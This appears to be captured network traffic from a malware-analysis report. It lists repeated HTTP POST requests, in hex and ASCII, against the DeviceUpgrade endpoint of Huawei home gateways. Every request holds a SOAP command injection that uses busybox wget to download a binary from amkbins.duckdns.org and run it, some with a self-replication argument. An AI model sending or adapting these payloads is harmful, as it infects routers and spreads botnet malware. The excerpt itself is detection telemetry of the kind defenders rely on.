| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 